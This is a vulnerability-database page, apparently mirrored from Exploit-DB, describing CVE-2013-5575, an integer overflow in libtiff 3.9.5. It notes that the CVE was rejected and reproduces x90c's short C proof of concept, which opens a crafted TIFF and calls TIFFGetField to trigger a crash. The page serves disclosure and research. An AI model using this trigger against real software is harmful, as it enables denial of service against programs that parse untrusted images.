libtiff 3.9.5 - Integer Overflow

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1121840 漏洞类型
发布时间 2013-08-26 更新时间 2013-08-26
CVE编号 CVE-2013-5575 CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/27875
|漏洞详情
This vulnerability has been rejected by the source.
|漏洞EXP
# Exploit Title: libtiff <= 3.9.5 Integer overflow bug poc
# Date: 2013/08/25
# Exploit Author: x90c
# Vendor Homepage: http://www.remotesensing.org/libtiff
# Version:
- libtiff 3.9.5 <=
# Tested on:
- libtiff 4.0.3
- libtiff 4.0.2
- libtiff 4.0.1
- libtiff 4.0.0 (safe)
- libtiff 3.9.5 (vulnerable) <=
- libtiff 3.6.0
# CVE : CVE-2013-5575

I submit the poc of libtiff bug and
attached original advisory too
I want to submit the poc, sample file only

http://www.x90c.org/advisories/xadv_2013001_libtiff.txt


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "tiffio.h"

int tiff_integer_overflow_test(){
TIFF* tif = TIFFOpen("/home/x90c/sample_spp.tif", "r");
int samples = 0;

/*
 * for instance, TIFFGetField library function will
 * called with malicious samplesperpixel field value 
 * TIFFGetField got segfault!
 */
TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samples);

printf("tiff_poc: tif samplesperpixel field=%d\n", samples);
}